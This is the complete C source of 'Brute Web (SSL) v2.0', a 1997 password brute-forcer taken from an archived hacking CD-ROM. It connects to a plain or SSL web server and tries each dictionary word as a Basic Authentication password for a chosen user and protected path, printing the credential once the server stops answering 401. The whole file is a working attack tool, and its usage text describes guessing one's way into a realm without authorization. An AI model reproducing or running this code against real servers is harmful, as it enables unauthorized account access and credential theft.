home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / brute_ssl.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  14KB  |  606 lines

  1. /* 
  2.  *
  3.  *                 Brute Web (SSL) v2.0
  4.  *                Coded by BeastMaster V
  5.  *            September 13,1997
  6.  *
  7.  * [NOTES]
  8.  * This program was written to illustrate what I see as
  9.  * a weakness with HTTP Basic Authorization. The HTTP protocol
  10.  * let's you get away with making as many guesses as you 
  11.  * wish to make when it comes to Basic Authorization. This
  12.  * program will connect to a regular or secure web server and
  13.  * try multiple username/password combinations until it finds
  14.  * the right one and prints out what the username and password 
  15.  * was for the protected realm. I have only tested this on
  16.  * Linux, so you might have to do a little porting to get it
  17.  * to work on other platforms. It should be simple though.
  18.  * 
  19.  * [HOWTO]
  20.  * To get up and running, you will first need to ftp the SSLeay
  21.  * libraries from ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/
  22.  * This was written to work with SSLeay-0.8.0. Now after you
  23.  * get this compiled and installed, you can build this program
  24.  * with a command like:
  25.  * cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \ 
  26.  *                  -L/usr/local/ssl/lib -lssl -lcrypto
  27.  * Run the binary without any arguments to see the parameters
  28.  * that the program takes.
  29.  *
  30.  * [COMMENTS]
  31.  * All comments, gripes, flames, etc. should be sent to
  32.  *     bryan@scott.net
  33.  * 
  34.  * [DISCLAIMER]
  35.  * I am not responsible for anything you do with this,
  36.  * so please use this program in a responsible manner.
  37.  *
  38.  * [WARNING]
  39.  * If the webserver you are using this on does logging, then
  40.  * it will be quite obvious that you are attacking.
  41.  *
  42.  */
  43.  
  44. #include <errno.h>
  45. #include <stdio.h>
  46. #include <stdlib.h>
  47. #include <string.h>
  48. #include <stdarg.h>
  49. #include <sys/types.h>
  50. #include <sys/time.h>
  51. #include <sys/ioctl.h>
  52. #include <sys/socket.h>
  53. #include <netinet/in.h>
  54. #include <netdb.h>
  55. #include <unistd.h>
  56. #include <fcntl.h>
  57. #include <signal.h>
  58.  
  59. #include <rsa.h>
  60. #include <crypto.h>
  61. #include <x509.h>
  62. #include <pem.h>
  63. #include <ssl.h>
  64. #include <err.h>
  65.  
  66. extern int errno, h_errno;
  67.  
  68. #define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf))
  69. #define newstr(s) strcpy(malloc(strlen(s)+1),s)
  70. #define HTTPD_UNAUTHORIZED 401
  71. #define FL __FILE__,__LINE__
  72. #define MAXDICTWORD 64
  73. #define MAXNAMEPASSLEN 128
  74. #define MAXENCODEDSTRING 256
  75. #define MAXSENDSTRING 300
  76. #define HAS_DICTIONARY 0x0001
  77. #define HAS_USERNAME   0x0002
  78. #define HAS_PORTNUMBER 0x0004
  79. #define HAS_HOSTNAME   0x0008
  80. #define HAS_VERBOSE    0x0010
  81. #define HAS_SSL_OPT    0x0020
  82. #define HAS_REALM      0x0040
  83. #define HAS_DONE_IT    0x0080
  84. #if SSLEAY_VERSION_NUMBER >= 0x0800
  85. #define SSLEAY8
  86. #endif
  87.  
  88. char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
  89. char *prg_nme;
  90. int mask;
  91.  
  92. struct BASE64_PARAMS
  93. {
  94.     unsigned long int accum;
  95.     int shift;
  96.     int save_shift;
  97. };
  98.  
  99. /* BeastMaster V's error logging function */
  100. void proc_err(char *func,char *file,int line,const char *fmt, ...)
  101. {
  102.         va_list args;
  103.     
  104.         if (prg_nme!=NULL)
  105.                 fprintf(stderr,"[%s]", prg_nme);
  106.  
  107.         va_start(args, fmt);
  108.  
  109.     fprintf(stderr," %s() ",func);
  110.     fprintf(stderr,"<file:%s line:%d> : ",file,line);
  111.     vfprintf(stderr, fmt, args);
  112.         fputc('\n', stderr); 
  113.         fflush(stderr);
  114.  
  115.     va_end(args);
  116. }
  117.  
  118. /* an implementation of signal() based on sigaction() */
  119. void (*r_signal(int sig,void(*func)())) (int)
  120. {
  121.         struct sigaction act, oact;
  122.         act.sa_handler = func;
  123.         sigemptyset(&act.sa_mask);
  124.         act.sa_flags = 0;
  125. #ifdef SA_RESTART
  126.         act.sa_flags |= SA_RESTART;
  127. #endif
  128.         if (sigaction(sig, &act, &oact) < 0)
  129.                 return (SIG_ERR);
  130.         return (oact.sa_handler);
  131. }
  132.  
  133. /* function to read into a buffer over an SSL connection */
  134. int SSL_readln(SSL *ssl_con, char *buf, int buf_size)
  135. {
  136.     int i=0,done=0,w;
  137.     char tmp[1];
  138.  
  139.     *(buf+0)='\0';
  140.     while (!done)
  141.     {
  142.         if (i==(buf_size-1))
  143.             break;
  144.         w=SSL_read(ssl_con,tmp,1);
  145.         if (w<0)
  146.             return -1;
  147.         if (w==0) return 0;
  148.         if (tmp[0]!=0)
  149.             *(buf+i)=tmp[0];
  150.         if (*(buf+i)=='\n')
  151.             done=1;
  152.         i++;
  153.     }
  154.     *(buf+i)='\0';
  155.     return(i);
  156. }
  157.  
  158. /* read from socket into a buffer until sizeof(buffer) or newline */
  159. int socket_readln(int s,char *buf,short len)
  160. {
  161.         int i=0, w;
  162.         char tmp[1];
  163.     short done=0; 
  164.  
  165.         while (!done) {
  166.         if (i==len)
  167.             break;
  168.                 w=read(s ,tmp, 1);
  169.                 if (w==0)  return 0;
  170.                 if (tmp[0] != 0) {
  171.                         *(buf+i) = tmp[0];
  172.         }
  173.                 if (tmp[0]=='\n') {
  174.                         done = 1;
  175.                 }
  176.                 i++;
  177.         }
  178.         *(buf+i)='\0';
  179.         return (i);
  180. }
  181.  
  182. /* base64 encode an arbitrary string */
  183. int base64_encode(int quit,struct BASE64_PARAMS *e_p,char *string_to_encode,char *buf_64)
  184. {
  185.     int index;
  186.     unsigned long int value;
  187.     unsigned char blivit;
  188.     int z=0;
  189.  
  190.     index = 0;
  191.     while((*(string_to_encode+z))||(e_p->shift!=0))
  192.     {
  193.         if ((*(string_to_encode+z))&&(quit==0))
  194.         {
  195.             blivit = *(string_to_encode +z);
  196.             z++;
  197.             if (*(string_to_encode+z)==0)
  198.                  {
  199.                 quit = 1;
  200.                         e_p->save_shift=e_p->shift;
  201.                         blivit=0;
  202.                  }
  203.               }
  204.         else
  205.         {
  206.                  quit=1;
  207.                  e_p->save_shift=e_p->shift;
  208.                  blivit=0;
  209.               }
  210.         if ((quit==0)||(e_p->shift!= 0))
  211.               {
  212.                  value=(unsigned long)blivit;
  213.                  e_p->accum <<= 8;
  214.                  e_p->shift += 8;
  215.                  e_p->accum |= value;
  216.               } 
  217.         while (e_p->shift >= 6)
  218.         {
  219.             e_p->shift -= 6;
  220.                  value = (e_p->accum >> e_p->shift) & 0x3Fl;
  221.                  blivit = alphabet[value];
  222.                  *(buf_64+(index++)) = blivit;
  223.                 if (index >= 60)
  224.                  {
  225.                         *(buf_64+index)='\0';
  226.                         index = 0;
  227.                  }
  228.                 if ( quit != 0 )
  229.                 e_p->shift = 0;
  230.         }
  231.     }
  232.     if (e_p->save_shift==2)
  233.     {
  234.         *(buf_64+(index++))='=';
  235.         if (index>=60)
  236.         {
  237.             *(buf_64+index)='\0';
  238.             index=0;
  239.         }
  240.         *(buf_64+(index++))='=';
  241.         if (index>=60 )
  242.         {
  243.             *(buf_64+index)='\0';
  244.             index=0;
  245.         }
  246.     }
  247.     else if (e_p->save_shift==4)
  248.     {
  249.         *(buf_64+(index++))='=';
  250.         if (index>=60)
  251.         {
  252.             *(buf_64+index)='\0';
  253.             index=0;
  254.         }
  255.     }
  256.     if (index!=0)
  257.         *(buf_64+index)='\0';
  258.  
  259.    return quit;
  260. }
  261.  
  262. /* takes string to encode and a user supplied buffer as parameters */
  263. void encode_string (char *name_pass,char *buf_64)
  264. {
  265.     struct BASE64_PARAMS e_p;
  266.     int quit=0;
  267.     register int i;
  268.     char s[MAXNAMEPASSLEN+3];
  269.  
  270.     e_p.shift = 0;
  271.     e_p.accum = 0;
  272.   
  273.     sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1));
  274.     base64_encode(quit, &e_p, s,buf_64);
  275.  
  276.     return;
  277. }
  278.  
  279. /* check the web server's HTTP response headers */
  280. short check_response (char *response)
  281. {
  282.     short ScanCount;
  283.     int httpd_code;
  284.     short version;
  285.  
  286.     ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code);
  287.     if (ScanCount!=2)
  288.         return 0;
  289.  
  290.     if (httpd_code==HTTPD_UNAUTHORIZED)
  291.         return 0;
  292.     else
  293.         return 1;
  294. }
  295.  
  296. /* reads a line from a file */
  297. short read_line(FILE *fp, char *buf)
  298. {
  299.     int c;
  300.     short done=0;
  301.     short i=0;
  302.  
  303.     while (!done)
  304.     {
  305.         c=fgetc(fp);
  306.         if (c==EOF)
  307.             return 0;
  308.         if (c=='\n')
  309.         {
  310.             done=1;
  311.             break;
  312.         }
  313.         if (c)
  314.             *(buf+i)=c;
  315.         i++;
  316.     }
  317.     
  318.     *(buf+i)='\0';
  319.     return i;
  320. }
  321.  
  322. void terminate (int sig)
  323. {
  324.     proc_err("terminate",FL,"[%s] has caught %d (%s)",
  325.     prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV");
  326.     exit(EXIT_FAILURE);
  327. }
  328.  
  329. /* creates a TCP socket and connects it to a peer */
  330. int make_socket(char *in_host,unsigned short port_num)
  331. {
  332.     int sd, err;
  333.     struct hostent *hp=NULL;
  334.     struct sockaddr_in sa;
  335.  
  336.     sd=socket(AF_INET, SOCK_STREAM, 0);
  337.     if (sd==-1)
  338.     {
  339.         proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno));
  340.         exit(EXIT_FAILURE);
  341.     }
  342.  
  343.     hp=gethostbyname(in_host);
  344.     if (!hp)
  345.     {
  346.         if (h_errno==HOST_NOT_FOUND)
  347.             proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host);
  348.         else
  349.             proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host);
  350.         exit(EXIT_FAILURE);
  351.     }
  352.  
  353.     bzero(&sa,sizeof(sa));
  354.     sa.sin_family=hp->h_addrtype;
  355.     bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length);
  356.     sa.sin_port=htons(port_num);
  357.  
  358.     err=connect(sd, (struct sockaddr *)&sa,sizeof(sa));
  359.     if (err==-1)
  360.     {
  361.         proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno));
  362.         exit(EXIT_FAILURE);
  363.     }
  364.     return sd;
  365. }
  366.     
  367. /* prints the program usage */
  368. void print_usage()
  369. {
  370.     int x;
  371.     char messages[][255] = 
  372.     {
  373.         "\n\t'%s [options]'\n\n",
  374.         "Options:\n",
  375.         "\t-v   <optional> verbose mode (print responses to stdout)\n",
  376.         "\t-z   <optional> SSL flag (use this for secure servers)\n",
  377.         "\t-d   dictionary file (full path to dictionary file)\n",
  378.         "\t-u   username (a user on the target webserver)\n",
  379.         "\t-h   hostname (host running the webserver)\n",
  380.         "\t-p   portnumber (port that the webserver runs on)\n",
  381.         "\t-r   realm (the full path to the protected realm)\n\n",
  382.         "Example:\n",
  383.         "\tSay everytime I type https://www.somewhere.com/protected\n",
  384.         "\tinto netscape, a box pops up and asks me to enter in a\n",
  385.         "\tUser ID and password. Well, I have no idea what User ID\n",
  386.         "\tor password to enter in, so I'll try to 'guess' my way in.\n",
  387.         "\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n",
  388.         "\ta username of \"foo\". Now I can type a command like:\n",
  389.         "\n",
  390.         " %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n",
  391.         "\n",
  392.         "\tNow with any luck I'll eventually see a username and password.\n",
  393.         "\ti.e:   ----USERNAME=foo   PASSWORD=foopass----\n\n",
  394.         "\0"    
  395.     };
  396.     
  397.     fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n");
  398.     for(x=0; *messages[x]!='\0';x++)
  399.         fprintf(stderr, messages[x], prg_nme);
  400. }
  401.  
  402. /* brute_ssl */
  403. int main (unsigned int argc,char **argv, char **envp)
  404. {
  405.     int err=0, sd,in_port=0, try=0;
  406.     char c, *export_buf=NULL;
  407.     SSL *ssl_con=NULL;
  408.     SSL_CTX *ssl_ctx=NULL;
  409.     unsigned long ssl_err;
  410.     FILE *dict_fd=NULL;
  411.     char *dict_name=NULL,*in_host=NULL;
  412.     char *user=NULL,*realm=NULL, *dict_word=NULL;
  413.     char *name_pass_buf=NULL, *encoded_buf=NULL;
  414.     char *p_title=NULL;
  415.  
  416.     if ((prg_nme=strrchr(argv[0],'/')))
  417.         ++prg_nme;
  418.     else
  419.         prg_nme=argv[0];
  420.  
  421.     mask=0;
  422.  
  423.     while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF)
  424.     {
  425.         switch(c)
  426.         {
  427.             case 'v':
  428.                 mask|=HAS_VERBOSE;
  429.                 break;
  430.             case 'z':
  431.                 mask|=HAS_SSL_OPT;
  432.                 break;
  433.             case 'd':
  434.                 dict_name=optarg;
  435.                 mask|=HAS_DICTIONARY;
  436.                 break;
  437.             case 'u':
  438.                 user=optarg;
  439.                 mask|=HAS_USERNAME;
  440.                 break;
  441.             case 'h':
  442.                 in_host=optarg;
  443.                 mask|=HAS_HOSTNAME;
  444.                 break;
  445.             case 'p':
  446.                 in_port=atoi(optarg);
  447.                 if (!in_port)
  448.                     err++;
  449.                 mask|=HAS_PORTNUMBER;
  450.                 break;
  451.             case 'r':
  452.                 realm=optarg;
  453.                 mask|=HAS_REALM;
  454.                 break;
  455.             case '?':
  456.                 err++;
  457.         }
  458.     }
  459.  
  460.     if ((optind<argc)||err)
  461.     {
  462.         print_usage();
  463.         exit(EXIT_FAILURE);
  464.     }
  465.  
  466.     if ((!(mask&HAS_HOSTNAME))||(!(mask&HAS_PORTNUMBER))||
  467.         (!(mask&HAS_USERNAME))||(!(mask&HAS_DICTIONARY))||(!(mask&HAS_REALM)))
  468.     {
  469.         print_usage();
  470.         exit(EXIT_FAILURE);
  471.     }
  472.  
  473.     r_signal(SIGPIPE,SIG_IGN);
  474.     r_signal(SIGINT,terminate);
  475.     r_signal(SIGSEGV,terminate);
  476.  
  477.     dict_word=(char *)malloc(MAXDICTWORD);
  478.     if (!dict_word)
  479.     {
  480.         proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  481.         exit(EXIT_FAILURE);
  482.     }
  483.  
  484.     name_pass_buf=(char *)malloc(MAXNAMEPASSLEN);
  485.     if (!name_pass_buf)
  486.     {
  487.         proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  488.         exit(EXIT_FAILURE);
  489.     }
  490.  
  491.     encoded_buf=(char *)malloc(MAXENCODEDSTRING);
  492.     if (!encoded_buf)
  493.     {
  494.         proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  495.         exit(EXIT_FAILURE);
  496.     }
  497.  
  498.     export_buf=(char *)malloc(MAXSENDSTRING);
  499.     if (!export_buf)
  500.     {
  501.         proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
  502.         exit(EXIT_FAILURE);
  503.     }
  504.     
  505.     dict_fd=fopen(dict_name,"r");
  506.     if (dict_fd==NULL)
  507.     {
  508.         proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno));
  509.         exit(EXIT_FAILURE);
  510.     }
  511.  
  512.  
  513.     if (mask & HAS_SSL_OPT)
  514.     {
  515.         SSLeay_add_ssl_algorithms();
  516.         SSL_load_error_strings();
  517.         ssl_ctx = SSL_CTX_new(SSLv2_client_method());
  518.         if (!ssl_ctx)
  519.         {
  520.             proc_err("main",FL,"Call to SSL_CTX_new return a NULL");
  521.             exit(EXIT_FAILURE);
  522.         }
  523.     }
  524.  
  525.  
  526.     while (read_line(dict_fd,dict_word))
  527.     {
  528.         sd=make_socket(in_host,in_port);
  529.  
  530.         if (mask & HAS_SSL_OPT)
  531.         {
  532.             ssl_con=SSL_new(ssl_ctx);
  533.             if (!ssl_con)
  534.             {
  535.                 proc_err("main",FL,"SSL_new() returned NULL.");
  536.                 exit(EXIT_FAILURE);
  537.             }
  538.             SSL_set_fd (ssl_con, sd);
  539.             ssl_err=SSL_connect(ssl_con);
  540.             if (ssl_err<=0)
  541.             {
  542.                 ssl_err=ERR_get_error();
  543.                 proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf));
  544.                 exit(EXIT_FAILURE);
  545.             }
  546.         }
  547.         
  548.         sprintf(name_pass_buf,"%s:%s",user,dict_word);
  549.         encode_string(name_pass_buf,encoded_buf); 
  550.         sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf);
  551.  
  552.         try++;
  553.  
  554.         if (mask & HAS_SSL_OPT)
  555.         {
  556.             SSL_write(ssl_con,export_buf,strlen(export_buf));
  557.             SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1);
  558.             if (mask & HAS_VERBOSE)
  559.                 fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
  560.         }
  561.         else
  562.         {
  563.             write(sd,export_buf,strlen(export_buf));
  564.             socket_readln(sd,export_buf,MAXSENDSTRING-1);
  565.             if (mask & HAS_VERBOSE)
  566.                 fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
  567.         }
  568.  
  569.         if (check_response(export_buf))
  570.         {
  571.             mask |=HAS_DONE_IT;
  572.             break;
  573.         }
  574.  
  575.         if (mask & HAS_VERBOSE)
  576.         {
  577.             if (mask & HAS_SSL_OPT)
  578.             {
  579.                 while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1))
  580.                     fprintf(stdout,"%s",export_buf);
  581.             }
  582.             else
  583.             {
  584.                 while(socket_readln(sd,export_buf,MAXSENDSTRING-1))
  585.                     fprintf(stdout,"%s",export_buf);
  586.             }
  587.         }
  588.  
  589.         close(sd);
  590.  
  591.         if (mask & HAS_SSL_OPT)
  592.             SSL_free(ssl_con);
  593.     }
  594.  
  595.     if (mask & HAS_DONE_IT)
  596.         fprintf(stdout,"\n\n\t----USERNAME=%s   PASSWORD=%s----\n\n",user,dict_word);
  597.     else
  598.         fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n");
  599.  
  600.     free(dict_word);
  601.     free(name_pass_buf);
  602.     free(export_buf);
  603.     if (mask & HAS_SSL_OPT)
  604.         SSL_CTX_free(ssl_ctx);
  605. }
  606.